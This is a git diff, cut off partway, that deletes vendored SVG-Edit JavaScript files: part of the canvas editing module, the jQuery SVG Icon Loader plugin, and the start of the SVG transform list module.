-// Unwraps all the elements in a selected group (g) element. This requires
-// significant recalculations to apply group's transforms, etc to its children
-this.ungroupSelectedElement = function() {
-	var g = selectedElements[0];
-	if($(g).data('gsvg') || $(g).data('symbol')) {
-		// Is svg, so actually convert to group
-
-		convertToGroup(g);
-		return;
-	} else if(g.tagName === 'use') {
-		// Somehow doesn't have data set, so retrieve
-		var symbol = getElem(getHref(g).substr(1));
-		$(g).data('symbol', symbol).data('ref', symbol);
-		convertToGroup(g);
-		return;
-	}
-	var parents_a = $(g).parents('a');
-	if(parents_a.length) {
-		g = parents_a[0];
-	}
-	
-	// Look for parent "a"
-	if (g.tagName === "g" || g.tagName === "a") {
-		
-		var batchCmd = new BatchCommand("Ungroup Elements");
-		var cmd = pushGroupProperties(g, true);
-		if(cmd) batchCmd.addSubCommand(cmd);
-		
-		var parent = g.parentNode;
-		var anchor = g.nextSibling;
-		var children = new Array(g.childNodes.length);
-		
-		var i = 0;
-		
-		while (g.firstChild) {
-			var elem = g.firstChild;
-			var oldNextSibling = elem.nextSibling;
-			var oldParent = elem.parentNode;
-			
-			// Remove child title elements
-			if(elem.tagName === 'title') {
-				var nextSibling = elem.nextSibling;
-				batchCmd.addSubCommand(new RemoveElementCommand(elem, nextSibling, oldParent));
-				oldParent.removeChild(elem);
-				continue;
-			}
-			
-			children[i++] = elem = parent.insertBefore(elem, anchor);
-			batchCmd.addSubCommand(new MoveElementCommand(elem, oldNextSibling, oldParent));
-		}
-
-		// remove the group from the selection			
-		clearSelection();
-		
-		// delete the group element (but make undo-able)
-		var gNextSibling = g.nextSibling;
-		g = parent.removeChild(g);
-		batchCmd.addSubCommand(new RemoveElementCommand(g, gNextSibling, parent));
-
-		if (!batchCmd.isEmpty()) addCommandToHistory(batchCmd);
-		
-		// update selection
-		addToSelection(children);
-	}
-};
-
-// Function: moveToTopSelectedElement
-// Repositions the selected element to the bottom in the DOM to appear on top of
-// other elements
-this.moveToTopSelectedElement = function() {
-	var selected = selectedElements[0];
-	if (selected != null) {
-		var t = selected;
-		var oldParent = t.parentNode;
-		var oldNextSibling = t.nextSibling;
-		t = t.parentNode.appendChild(t);
-		// If the element actually moved position, add the command and fire the changed
-		// event handler.
-		if (oldNextSibling != t.nextSibling) {
-			addCommandToHistory(new MoveElementCommand(t, oldNextSibling, oldParent, "top"));
-			call("changed", [t]);
-		}
-	}
-};
-
-// Function: moveToBottomSelectedElement
-// Repositions the selected element to the top in the DOM to appear under 
-// other elements
-this.moveToBottomSelectedElement = function() {
-	var selected = selectedElements[0];
-	if (selected != null) {
-		var t = selected;
-		var oldParent = t.parentNode;
-		var oldNextSibling = t.nextSibling;
-		var firstChild = t.parentNode.firstChild;
-		if (firstChild.tagName == 'title') {
-			firstChild = firstChild.nextSibling;
-		}
-		// This can probably be removed, as the defs should not ever apppear
-		// inside a layer group
-		if (firstChild.tagName == 'defs') {
-			firstChild = firstChild.nextSibling;
-		}
-		t = t.parentNode.insertBefore(t, firstChild);
-		// If the element actually moved position, add the command and fire the changed
-		// event handler.
-		if (oldNextSibling != t.nextSibling) {
-			addCommandToHistory(new MoveElementCommand(t, oldNextSibling, oldParent, "bottom"));
-			call("changed", [t]);
-		}
-	}
-};
-
-// Function: moveUpDownSelected
-// Moves the select element up or down the stack, based on the visibly
-// intersecting elements
-//
-// Parameters: 
-// dir - String that's either 'Up' or 'Down'
-this.moveUpDownSelected = function(dir) {
-	var selected = selectedElements[0];
-	if (!selected) return;
-	
-	curBBoxes = [];
-	var closest, found_cur;
-	// jQuery sorts this list
-	var list = $(getIntersectionList(getStrokedBBox([selected]))).toArray();
-	if(dir == 'Down') list.reverse();
-
-	$.each(list, function() {
-		if(!found_cur) {
-			if(this == selected) {
-				found_cur = true;
-			}
-			return;
-		}
-		closest = this;
-		return false;
-	});
-	if(!closest) return;
-	
-	var t = selected;
-	var oldParent = t.parentNode;
-	var oldNextSibling = t.nextSibling;
-	$(closest)[dir == 'Down'?'before':'after'](t);
-	// If the element actually moved position, add the command and fire the changed
-	// event handler.
-	if (oldNextSibling != t.nextSibling) {
-		addCommandToHistory(new MoveElementCommand(t, oldNextSibling, oldParent, "Move " + dir));
-		call("changed", [t]);
-	}
-};
-
-// Function: moveSelectedElements
-// Moves selected elements on the X/Y axis 
-//
-// Parameters:
-// dx - Float with the distance to move on the x-axis
-// dy - Float with the distance to move on the y-axis
-// undoable - Boolean indicating whether or not the action should be undoable
-//
-// Returns:
-// Batch command for the move
-this.moveSelectedElements = function(dx, dy, undoable) {
-	// if undoable is not sent, default to true
-	// if single values, scale them to the zoom
-	if (dx.constructor != Array) {
-		dx /= current_zoom;
-		dy /= current_zoom;
-	}
-	var undoable = undoable || true;
-	var batchCmd = new BatchCommand("position");
-	var i = selectedElements.length;
-	while (i--) {
-		var selected = selectedElements[i];
-		if (selected != null) {
-//			if (i==0)
-//				selectedBBoxes[0] = svgedit.utilities.getBBox(selected);
-			
-//			var b = {};
-//			for(var j in selectedBBoxes[i]) b[j] = selectedBBoxes[i][j];
-//			selectedBBoxes[i] = b;
-			
-			var xform = svgroot.createSVGTransform();
-			var tlist = getTransformList(selected);
-			
-			// dx and dy could be arrays
-			if (dx.constructor == Array) {
-//				if (i==0) {
-//					selectedBBoxes[0].x += dx[0];
-//					selectedBBoxes[0].y += dy[0];
-//				}
-				xform.setTranslate(dx[i],dy[i]);
-			} else {
-//				if (i==0) {
-//					selectedBBoxes[0].x += dx;
-//					selectedBBoxes[0].y += dy;
-//				}
-				xform.setTranslate(dx,dy);
-			}
-
-			if(tlist.numberOfItems) {
-				tlist.insertItemBefore(xform, 0);
-			} else {
-				tlist.appendItem(xform);
-			}
-			
-			var cmd = recalculateDimensions(selected);
-			if (cmd) {
-				batchCmd.addSubCommand(cmd);
-			}
-			
-			selectorManager.requestSelector(selected).resize();
-		}
-	}
-	if (!batchCmd.isEmpty()) {
-		if (undoable)
-			addCommandToHistory(batchCmd);
-		call("changed", selectedElements);
-		return batchCmd;
-	}
-};
-
-// Function: cloneSelectedElements
-// Create deep DOM copies (clones) of all selected elements and move them slightly 
-// from their originals
-this.cloneSelectedElements = function(x,y) {
-	var batchCmd = new BatchCommand("Clone Elements");
-	// find all the elements selected (stop at first null)
-	var len = selectedElements.length;
-	for (var i = 0; i < len; ++i) {
-		var elem = selectedElements[i];
-		if (elem == null) break;
-	}
-	// use slice to quickly get the subset of elements we need
-	var copiedElements = selectedElements.slice(0,i);
-	this.clearSelection(true);
-	// note that we loop in the reverse way because of the way elements are added
-	// to the selectedElements array (top-first)
-	var i = copiedElements.length;
-	while (i--) {
-		// clone each element and replace it within copiedElements
-		var elem = copiedElements[i] = copyElem(copiedElements[i]);
-		(current_group || getCurrentDrawing().getCurrentLayer()).appendChild(elem);
-		batchCmd.addSubCommand(new InsertElementCommand(elem));
-	}
-	
-	if (!batchCmd.isEmpty()) {
-		addToSelection(copiedElements.reverse()); // Need to reverse for correct selection-adding
-		this.moveSelectedElements(x,y,false);
-		addCommandToHistory(batchCmd);
-	}
-};
-
-// Function: alignSelectedElements
-// Aligns selected elements
-//
-// Parameters:
-// type - String with single character indicating the alignment type
-// relative_to - String that must be one of the following: 
-// "selected", "largest", "smallest", "page"
-this.alignSelectedElements = function(type, relative_to) {
-	var bboxes = [], angles = [];
-	var minx = Number.MAX_VALUE, maxx = Number.MIN_VALUE, miny = Number.MAX_VALUE, maxy = Number.MIN_VALUE;
-	var curwidth = Number.MIN_VALUE, curheight = Number.MIN_VALUE;
-	var len = selectedElements.length;
-	if (!len) return;
-	for (var i = 0; i < len; ++i) {
-		if (selectedElements[i] == null) break;
-		var elem = selectedElements[i];
-		bboxes[i] = getStrokedBBox([elem]);
-		
-		// now bbox is axis-aligned and handles rotation
-		switch (relative_to) {
-			case 'smallest':
-				if ( (type == 'l' || type == 'c' || type == 'r') && (curwidth == Number.MIN_VALUE || curwidth > bboxes[i].width) ||
-					 (type == 't' || type == 'm' || type == 'b') && (curheight == Number.MIN_VALUE || curheight > bboxes[i].height) ) {
-					minx = bboxes[i].x;
-					miny = bboxes[i].y;
-					maxx = bboxes[i].x + bboxes[i].width;
-					maxy = bboxes[i].y + bboxes[i].height;
-					curwidth = bboxes[i].width;
-					curheight = bboxes[i].height;
-				}
-				break;
-			case 'largest':
-				if ( (type == 'l' || type == 'c' || type == 'r') && (curwidth == Number.MIN_VALUE || curwidth < bboxes[i].width) ||
-					 (type == 't' || type == 'm' || type == 'b') && (curheight == Number.MIN_VALUE || curheight < bboxes[i].height) ) {
-					minx = bboxes[i].x;
-					miny = bboxes[i].y;
-					maxx = bboxes[i].x + bboxes[i].width;
-					maxy = bboxes[i].y + bboxes[i].height;
-					curwidth = bboxes[i].width;
-					curheight = bboxes[i].height;
-				}
-				break;
-			default: // 'selected'
-				if (bboxes[i].x < minx) minx = bboxes[i].x;
-				if (bboxes[i].y < miny) miny = bboxes[i].y;
-				if (bboxes[i].x + bboxes[i].width > maxx) maxx = bboxes[i].x + bboxes[i].width;
-				if (bboxes[i].y + bboxes[i].height > maxy) maxy = bboxes[i].y + bboxes[i].height;
-				break;
-		}
-	} // loop for each element to find the bbox and adjust min/max
-
-	if (relative_to == 'page') {
-		minx = 0;
-		miny = 0;
-		maxx = canvas.contentW;
-		maxy = canvas.contentH;
-	}
-
-	var dx = new Array(len);
-	var dy = new Array(len);
-	for (var i = 0; i < len; ++i) {
-		if (selectedElements[i] == null) break;
-		var elem = selectedElements[i];
-		var bbox = bboxes[i];
-		dx[i] = 0;
-		dy[i] = 0;
-		switch (type) {
-			case 'l': // left (horizontal)
-				dx[i] = minx - bbox.x;
-				break;
-			case 'c': // center (horizontal)
-				dx[i] = (minx+maxx)/2 - (bbox.x + bbox.width/2);
-				break;
-			case 'r': // right (horizontal)
-				dx[i] = maxx - (bbox.x + bbox.width);
-				break;
-			case 't': // top (vertical)
-				dy[i] = miny - bbox.y;
-				break;
-			case 'm': // middle (vertical)
-				dy[i] = (miny+maxy)/2 - (bbox.y + bbox.height/2);
-				break;
-			case 'b': // bottom (vertical)
-				dy[i] = maxy - (bbox.y + bbox.height);
-				break;
-		}
-	}
-	this.moveSelectedElements(dx,dy);
-};
-
-// Group: Additional editor tools
-
-this.contentW = getResolution().w;
-this.contentH = getResolution().h;
-
-// Function: updateCanvas
-// Updates the editor canvas width/height/position after a zoom has occurred 
-//
-// Parameters:
-// w - Float with the new width
-// h - Float with the new height
-//
-// Returns: 
-// Object with the following values:
-// * x - The canvas' new x coordinate
-// * y - The canvas' new y coordinate
-// * old_x - The canvas' old x coordinate
-// * old_y - The canvas' old y coordinate
-// * d_x - The x position difference
-// * d_y - The y position difference
-this.updateCanvas = function(w, h) {
-	svgroot.setAttribute("width", w);
-	svgroot.setAttribute("height", h);
-	var bg = $('#canvasBackground')[0];
-	var old_x = svgcontent.getAttribute('x');
-	var old_y = svgcontent.getAttribute('y');
-	var x = (w/2 - this.contentW*current_zoom/2);
-	var y = (h/2 - this.contentH*current_zoom/2);
-
-	assignAttributes(svgcontent, {
-		width: this.contentW*current_zoom,
-		height: this.contentH*current_zoom,
-		'x': x,
-		'y': y,
-		"viewBox" : "0 0 " + this.contentW + " " + this.contentH
-	});
-	
-	assignAttributes(bg, {
-		width: svgcontent.getAttribute('width'),
-		height: svgcontent.getAttribute('height'),
-		x: x,
-		y: y
-	});
-
-	var bg_img = getElem('background_image');
-	if (bg_img) {
-		assignAttributes(bg_img, {
-			'width': '100%',
-			'height': '100%'
-		});
-	}
-	
-	selectorManager.selectorParentGroup.setAttribute("transform","translate(" + x + "," + y + ")");
-	
-	return {x:x, y:y, old_x:old_x, old_y:old_y, d_x:x - old_x, d_y:y - old_y};
-}
-
-// Function: setBackground
-// Set the background of the editor (NOT the actual document)
-//
-// Parameters:
-// color - String with fill color to apply
-// url - URL or path to image to use
-this.setBackground = function(color, url) {
-	var bg =  getElem('canvasBackground');
-	var border = $(bg).find('rect')[0];
-	var bg_img = getElem('background_image');
-	border.setAttribute('fill',color);
-	if(url) {
-		if(!bg_img) {
-			bg_img = svgdoc.createElementNS(svgns, "image");
-			assignAttributes(bg_img, {
-				'id': 'background_image',
-				'width': '100%',
-				'height': '100%',
-				'preserveAspectRatio': 'xMinYMin',
-				'style':'pointer-events:none'
-			});
-		}
-		setHref(bg_img, url);
-		bg.appendChild(bg_img);
-	} else if(bg_img) {
-		bg_img.parentNode.removeChild(bg_img);
-	}
-}
-
-// Function: cycleElement
-// Select the next/previous element within the current layer
-//
-// Parameters:
-// next - Boolean where true = next and false = previous element
-this.cycleElement = function(next) {
-	var cur_elem = selectedElements[0];
-	var elem = false;
-	var all_elems = getVisibleElements(current_group || getCurrentDrawing().getCurrentLayer());
-	if(!all_elems.length) return;
-	if (cur_elem == null) {
-		var num = next?all_elems.length-1:0;
-		elem = all_elems[num];
-	} else {
-		var i = all_elems.length;
-		while(i--) {
-			if(all_elems[i] == cur_elem) {
-				var num = next?i-1:i+1;
-				if(num >= all_elems.length) {
-					num = 0;
-				} else if(num < 0) {
-					num = all_elems.length-1;
-				} 
-				elem = all_elems[num];
-				break;
-			} 
-		}
-	}		
-	selectOnly([elem], true);
-	call("selected", selectedElements);
-}
-
-this.clear();
-
-
-// DEPRECATED: getPrivateMethods 
-// Since all methods are/should be public somehow, this function should be removed
-
-// Being able to access private methods publicly seems wrong somehow,
-// but currently appears to be the best way to allow testing and provide
-// access to them to plugins.
-this.getPrivateMethods = function() {
-	var obj = {
-		addCommandToHistory: addCommandToHistory,
-		setGradient: setGradient,
-		addSvgElementFromJson: addSvgElementFromJson,
-		assignAttributes: assignAttributes,
-		BatchCommand: BatchCommand,
-		call: call,
-		ChangeElementCommand: ChangeElementCommand,
-		copyElem: copyElem,
-		ffClone: ffClone,
-		findDefs: findDefs,
-		findDuplicateGradient: findDuplicateGradient,
-		getElem: getElem,
-		getId: getId,
-		getIntersectionList: getIntersectionList,
-		getMouseTarget: getMouseTarget,
-		getNextId: getNextId,
-		getPathBBox: getPathBBox,
-		getUrlFromAttr: getUrlFromAttr,
-		hasMatrixTransform: hasMatrixTransform,
-		identifyLayers: identifyLayers,
-		InsertElementCommand: InsertElementCommand,
-		isIdentity: svgedit.math.isIdentity,
-		logMatrix: logMatrix,
-		matrixMultiply: matrixMultiply,
-		MoveElementCommand: MoveElementCommand,
-		preventClickDefault: preventClickDefault,
-		recalculateAllSelectedDimensions: recalculateAllSelectedDimensions,
-		recalculateDimensions: recalculateDimensions,
-		remapElement: remapElement,
-		RemoveElementCommand: RemoveElementCommand,
-		removeUnusedDefElems: removeUnusedDefElems,
-		round: round,
-		runExtensions: runExtensions,
-		sanitizeSvg: sanitizeSvg,
-		SVGEditTransformList: svgedit.transformlist.SVGTransformList,
-		toString: toString,
-		transformBox: svgedit.math.transformBox,
-		transformListToTransform: transformListToTransform,
-		transformPoint: transformPoint,
-		walkTree: svgedit.utilities.walkTree
-	}
-	return obj;
-};
-
-}
diff --git a/public/svg-edit/editor/svgicons/jquery.svgicons.js b/public/svg-edit/editor/svgicons/jquery.svgicons.js
deleted file mode 100644
index 7471f242..00000000
--- a/public/svg-edit/editor/svgicons/jquery.svgicons.js
+++ /dev/null
@@ -1,486 +0,0 @@
-/*
- * SVG Icon Loader 2.0
- *
- * jQuery Plugin for loading SVG icons from a single file
- *
- * Copyright (c) 2009 Alexis Deveria
- * http://a.deveria.com
- *
- * Apache 2 License
-
-How to use:
-
-1. Create the SVG master file that includes all icons:
-
-The master SVG icon-containing file is an SVG file that contains 
-<g> elements. Each <g> element should contain the markup of an SVG
-icon. The <g> element has an ID that should 
-correspond with the ID of the HTML element used on the page that should contain 
-or optionally be replaced by the icon. Additionally, one empty element should be
-added at the end with id "svg_eof".
-
-2. Optionally create fallback raster images for each SVG icon.
-
-3. Include the jQuery and the SVG Icon Loader scripts on your page.
-
-4. Run $.svgIcons() when the document is ready:
-
-$.svgIcons( file [string], options [object literal]);
-
-File is the location of a local SVG or SVGz file.
-
-All options are optional and can include:
-
-- 'w (number)': The icon widths
-
-- 'h (number)': The icon heights
-
-- 'fallback (object literal)': List of raster images with each
-	key being the SVG icon ID to replace, and the value the image file name.
-	
-- 'fallback_path (string)': The path to use for all images
-	listed under "fallback"
-	
-- 'replace (boolean)': If set to true, HTML elements will be replaced by,
-	rather than include the SVG icon.
-
-- 'placement (object literal)': List with selectors for keys and SVG icon ids
-	as values. This provides a custom method of adding icons.
-
-- 'resize (object literal)': List with selectors for keys and numbers
-	as values. This allows an easy way to resize specific icons.
-	
-- 'callback (function)': A function to call when all icons have been loaded. 
-	Includes an object literal as its argument with as keys all icon IDs and the 
-	icon as a jQuery object as its value.
-
-- 'id_match (boolean)': Automatically attempt to match SVG icon ids with
-	corresponding HTML id (default: true)
-	
-- 'no_img (boolean)': Prevent attempting to convert the icon into an <img>
-	element (may be faster, help for browser consistency)
-
-- 'svgz (boolean)': Indicate that the file is an SVGZ file, and thus not to
-	parse as XML. SVGZ files add compression benefits, but getting data from
-	them fails in Firefox 2 and older.
-
-5. To access an icon at a later point without using the callback, use this:
-	$.getSvgIcon(id (string));
-
-This will return the icon (as jQuery object) with a given ID.
-	
-6. To resize icons at a later point without using the callback, use this:
-	$.resizeSvgIcons(resizeOptions) (use the same way as the "resize" parameter)
-
-
-Example usage #1:
-
-$(function() {
-	$.svgIcons('my_icon_set.svg'); // The SVG file that contains all icons
-	// No options have been set, so all icons will automatically be inserted 
-	// into HTML elements that match the same IDs. 
-});
-
-Example usage #2:
-
-$(function() {
-	$.svgIcons('my_icon_set.svg', { // The SVG file that contains all icons
-		callback: function(icons) { // Custom callback function that sets click
-									// events for each icon
-			$.each(icons, function(id, icon) {
-				icon.click(function() {
-					alert('You clicked on the icon with id ' + id);
-				});
-			});
-		}
-	}); //The SVG file that contains all icons
-});
-
-Example usage #3:
-
-$(function() {
-	$.svgIcons('my_icon_set.svgz', { // The SVGZ file that contains all icons
-		w: 32,	// All icons will be 32px wide
-		h: 32,  // All icons will be 32px high
-		fallback_path: 'icons/',  // All fallback files can be found here
-		fallback: {
-			'#open_icon': 'open.png',  // The "open.png" will be appended to the
-									   // HTML element with ID "open_icon"
-			'#close_icon': 'close.png',
-			'#save_icon': 'save.png'
-		},
-		placement: {'.open_icon','open'}, // The "open" icon will be added
-										  // to all elements with class "open_icon"
-		resize: function() {
-			'#save_icon .svg_icon': 64  // The "save" icon will be resized to 64 x 64px
-		},
-		
-		callback: function(icons) { // Sets background color for "close" icon 
-			icons['close'].css('background','red');
-		},
-		
-		svgz: true // Indicates that an SVGZ file is being used
-		
-	})
-});
-
-*/
-
-
-(function($) {
-	var svg_icons = {}, fixIDs;
-
-	$.svgIcons = function(file, opts) {
-		var svgns = "http://www.w3.org/2000/svg",
-			xlinkns = "http://www.w3.org/1999/xlink",
-			icon_w = opts.w?opts.w : 24,
-			icon_h = opts.h?opts.h : 24,
-			elems, svgdoc, testImg,
-			icons_made = false, data_loaded = false, load_attempts = 0,
-			ua = navigator.userAgent, isOpera = !!window.opera, isSafari = (ua.indexOf('Safari/') > -1 && ua.indexOf('Chrome/')==-1),
-			data_pre = 'data:image/svg+xml;charset=utf-8;base64,';
-			
-			if(opts.svgz) {
-				var data_el = $('<object data="' + file + '" type=image/svg+xml>').appendTo('body').hide();
-				try {
-					svgdoc = data_el[0].contentDocument;
-					data_el.load(getIcons);
-					getIcons(0, true); // Opera will not run "load" event if file is already cached
-				} catch(err1) {
-					useFallback();
-				}
-			} else {
-				var parser = new DOMParser();
-				$.ajax({
-					url: file,
-					dataType: 'string',
-					success: function(data) {
-						if(!data) {
-							$(useFallback);
-							return;
-						}
-						svgdoc = parser.parseFromString(data, "text/xml");
-						$(function() {
-							getIcons('ajax');
-						});
-					},
-					error: function(err) {
-						// TODO: Fix Opera widget icon bug
-						if(window.opera) {
-							$(function() {
-								useFallback();
-							});
-						} else {
-							if(err.responseXML) {
-								svgdoc = parser.parseFromString(err.responseXML, "text/xml");
-
-								if(!svgdoc.childNodes.length) {
-									$(useFallback);									
-								}
-								$(function() {
-									getIcons('ajax');
-								});							
-							} else {
-								$(useFallback);
-							}
-						}
-					}
-				});
-			}
-			
-		function getIcons(evt, no_wait) {
-			if(evt !== 'ajax') {
-				if(data_loaded) return;
-				// Webkit sometimes says svgdoc is undefined, other times
-				// it fails to load all nodes. Thus we must make sure the "eof" 
-				// element is loaded.
-				svgdoc = data_el[0].contentDocument; // Needed again for Webkit
-				var isReady = (svgdoc && svgdoc.getElementById('svg_eof'));
-				if(!isReady && !(no_wait && isReady)) {
-					load_attempts++;
-					if(load_attempts < 50) {
-						setTimeout(getIcons, 20);
-					} else {
-						useFallback();
-						data_loaded = true;
-					}
-					return;
-				}
-				data_loaded = true;
-			}
-			
-			elems = $(svgdoc.firstChild).children(); //.getElementsByTagName('foreignContent');
-			
-			if(!opts.no_img) {
-				var testSrc = data_pre + 'PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNzUiIGhlaWdodD0iMjc1Ij48L3N2Zz4%3D';
-				
-				testImg = $(new Image()).attr({
-					src: testSrc,
-					width: 0,
-					height: 0
-				}).appendTo('body')
-				.load(function () {
-					// Safari 4 crashes, Opera and Chrome don't
-					makeIcons(true);
-				}).error(function () {
-					makeIcons();
-				});
-			} else {
-				setTimeout(function() {
-					if(!icons_made) makeIcons();
-				},500);
-			}
-		}
-		
-		var setIcon = function(target, icon, id, setID) {
-			if(isOpera) icon.css('visibility','hidden');
-			if(opts.replace) {
-				if(setID) icon.attr('id',id);
-				var cl = target.attr('class');
-				if(cl) icon.attr('class','svg_icon '+cl);
-				target.replaceWith(icon);
-			} else {
-				
-				target.append(icon);
-			}
-			if(isOpera) {
-				setTimeout(function() {
-					icon.removeAttr('style');
-				},1);
-			}
-		}
-		
-		var addIcon = function(icon, id) {
-			if(opts.id_match === undefined || opts.id_match !== false) {
-				setIcon(holder, icon, id, true);
-			}
-			svg_icons[id] = icon;
-		}
-		
-		function makeIcons(toImage, fallback) {
-			if(icons_made) return;
-			if(opts.no_img) toImage = false;
-			var holder;
-			
-			if(toImage) {
-				var temp_holder = $(document.createElement('div'));
-				temp_holder.hide().appendTo('body');
-			} 
-			if(fallback) {
-				var path = opts.fallback_path?opts.fallback_path:'';
-				$.each(fallback, function(id, imgsrc) {
-					holder = $('#' + id);
-					var icon = $(new Image())
-						.attr({
-							'class':'svg_icon',
-							src: path + imgsrc,
-							'width': icon_w,
-							'height': icon_h,
-							'alt': 'icon'
-						});
-					
-					addIcon(icon, id);
-				});
-			} else {
-				var len = elems.length;
-				for(var i = 0; i < len; i++) {
-					var elem = elems[i];
-					var id = elem.id;
-					if(id === 'svg_eof') break;
-					holder = $('#' + id);
-					var svg = elem.getElementsByTagNameNS(svgns, 'svg')[0];
-					var svgroot = document.createElementNS(svgns, "svg");
-					svgroot.setAttributeNS(svgns, 'viewBox', [0,0,icon_w,icon_h].join(' '));
-					
-					// Make flexible by converting width/height to viewBox
-					var w = svg.getAttribute('width');
-					var h = svg.getAttribute('height');
-					svg.removeAttribute('width');
-					svg.removeAttribute('height');
-					
-					var vb = svg.getAttribute('viewBox');
-					if(!vb) {
-						svg.setAttribute('viewBox', [0,0,w,h].join(' '));
-					}
-					
-					// Not using jQuery to be a bit faster
-					svgroot.setAttribute('xmlns', svgns);
-					svgroot.setAttribute('width', icon_w);
-					svgroot.setAttribute('height', icon_h);
-					svgroot.setAttribute("xmlns:xlink", xlinkns);
-					svgroot.setAttribute("class", 'svg_icon');
-
-					// Without cloning, Firefox will make another GET request.
-					// With cloning, causes issue in Opera/Win/Non-EN
-					if(!isOpera) svg = svg.cloneNode(true);
-					
-					svgroot.appendChild(svg);
-			
-					if(toImage) {
-						// Without cloning, Safari will crash
-						// With cloning, causes issue in Opera/Win/Non-EN
-						var svgcontent = isOpera?svgroot:svgroot.cloneNode(true);
-						temp_holder.empty().append(svgroot);
-						var str = data_pre + encode64(temp_holder.html());
-						var icon = $(new Image())
-							.attr({'class':'svg_icon', src:str});
-					} else {
-						var icon = fixIDs($(svgroot), i);
-					}
-					addIcon(icon, id);
-				}
-
-			}
-			
-			if(opts.placement) {
-				$.each(opts.placement, function(sel, id) {
-					if(!svg_icons[id]) return;
-					$(sel).each(function(i) {
-						var copy = svg_icons[id].clone();
-						if(i > 0 && !toImage) copy = fixIDs(copy, i, true);
-						setIcon($(this), copy, id);
-					})
-				});
-			}
-			if(!fallback) {
-				if(toImage) temp_holder.remove();
-				if(data_el) data_el.remove();
-				if(testImg) testImg.remove();
-			}
-			if(opts.resize) $.resizeSvgIcons(opts.resize);
-			icons_made = true;
-
-			if(opts.callback) opts.callback(svg_icons);
-		}
-		
-		fixIDs = function(svg_el, svg_num, force) {
-			var defs = svg_el.find('defs');
-			if(!defs.length) return svg_el;
-			
-			if(isOpera) {
-				var id_elems = defs.find('*').filter(function() {
-					return !!this.id;
-				});
-			} else {
-				var id_elems = defs.find('[id]');
-			}
-			
-			var all_elems = svg_el[0].getElementsByTagName('*'), len = all_elems.length;
-			
-			id_elems.each(function(i) {
-				var id = this.id;
-				var no_dupes = ($(svgdoc).find('#' + id).length <= 1);
-				if(isOpera) no_dupes = false; // Opera didn't clone svg_el, so not reliable
-				// if(!force && no_dupes) return;
-				var new_id = 'x' + id + svg_num + i;
-				this.id = new_id;
-				
-				var old_val = 'url(#' + id + ')';
-				var new_val = 'url(#' + new_id + ')';
-				
-				// Selector method, possibly faster but fails in Opera / jQuery 1.4.3
-// 				svg_el.find('[fill="url(#' + id + ')"]').each(function() {
-// 					this.setAttribute('fill', 'url(#' + new_id + ')');
-// 				}).end().find('[stroke="url(#' + id + ')"]').each(function() {
-// 					this.setAttribute('stroke', 'url(#' + new_id + ')');
-// 				}).end().find('use').each(function() {
-// 					if(this.getAttribute('xlink:href') == '#' + id) {
-// 						this.setAttributeNS(xlinkns,'href','#' + new_id);
-// 					}
-// 				}).end().find('[filter="url(#' + id + ')"]').each(function() {
-// 					this.setAttribute('filter', 'url(#' + new_id + ')');
-// 				});
-
-				for(var i = 0; i < len; i++) {
-					var elem = all_elems[i];
-					if(elem.getAttribute('fill') === old_val) {
-						elem.setAttribute('fill', new_val);
-					}
-					if(elem.getAttribute('stroke') === old_val) {
-						elem.setAttribute('stroke', new_val);
-					}
-					if(elem.getAttribute('filter') === old_val) {
-						elem.setAttribute('filter', new_val);
-					}
-				}
-			});
-			return svg_el;
-		}
-		
-		function useFallback() {
-			if(file.indexOf('.svgz') != -1) {
-				var reg_file = file.replace('.svgz','.svg');
-				if(window.console) {
-					console.log('.svgz failed, trying with .svg');
-				}
-				$.svgIcons(reg_file, opts);
-			} else if(opts.fallback) {
-				makeIcons(false, opts.fallback);
-			}
-		}
-				
-		function encode64(input) {
-			// base64 strings are 4/3 larger than the original string
-			if(window.btoa) return window.btoa(input);
-			var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
-			var output = new Array( Math.floor( (input.length + 2) / 3 ) * 4 );
-			var chr1, chr2, chr3;
-			var enc1, enc2, enc3, enc4;
-			var i = 0, p = 0;
-		
-			do {
-				chr1 = input.charCodeAt(i++);
-				chr2 = input.charCodeAt(i++);
-				chr3 = input.charCodeAt(i++);
-		
-				enc1 = chr1 >> 2;
-				enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
-				enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
-				enc4 = chr3 & 63;
-		
-				if (isNaN(chr2)) {
-					enc3 = enc4 = 64;
-				} else if (isNaN(chr3)) {
-					enc4 = 64;
-				}
-		
-				output[p++] = _keyStr.charAt(enc1);
-				output[p++] = _keyStr.charAt(enc2);
-				output[p++] = _keyStr.charAt(enc3);
-				output[p++] = _keyStr.charAt(enc4);
-			} while (i < input.length);
-		
-			return output.join('');
-		}
-	}
-	
-	$.getSvgIcon = function(id, uniqueClone) { 
-		var icon = svg_icons[id];
-		if(uniqueClone && icon) {
-			icon = fixIDs(icon, 0, true).clone(true);
-		}
-		return icon; 
-	}
-	
-	$.resizeSvgIcons = function(obj) {
-		// FF2 and older don't detect .svg_icon, so we change it detect svg elems instead
-		var change_sel = !$('.svg_icon:first').length;
-		$.each(obj, function(sel, size) {
-			var arr = $.isArray(size);
-			var w = arr?size[0]:size,
-				h = arr?size[1]:size;
-			if(change_sel) {
-				sel = sel.replace(/\.svg_icon/g,'svg');
-			}
-			$(sel).each(function() {
-				this.setAttribute('width', w);
-				this.setAttribute('height', h);
-				if(window.opera && window.widget) {
-					this.parentNode.style.width = w + 'px';
-					this.parentNode.style.height = h + 'px';
-				}
-			});
-		});
-	}
-	
-})(jQuery);
\ No newline at end of file
diff --git a/public/svg-edit/editor/svgtransformlist.js b/public/svg-edit/editor/svgtransformlist.js
deleted file mode 100644
index 5c291ca7..00000000
--- a/public/svg-edit/editor/svgtransformlist.js
+++ /dev/null
@@ -1,291 +0,0 @@
-/**
- * SVGTransformList
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Jeff Schiller
- */
-
-// Dependencies:
-// 1) browser.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.transformlist) {
-	svgedit.transformlist = {};
-}
-
-var svgroot = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
-
-// Helper function.
-function transformToString(xform) {
-	var m = xform.matrix,
-		text = "";
-	switch(xform.type) {
-		case 1: // MATRIX
-			text = "matrix(" + [m.a,m.b,m.c,m.d,m.e,m.f].join(",") + ")";
-			break;
-		case 2: // TRANSLATE
-			text = "translate(" + m.e + "," + m.f + ")";
-			break;
-		case 3: // SCALE
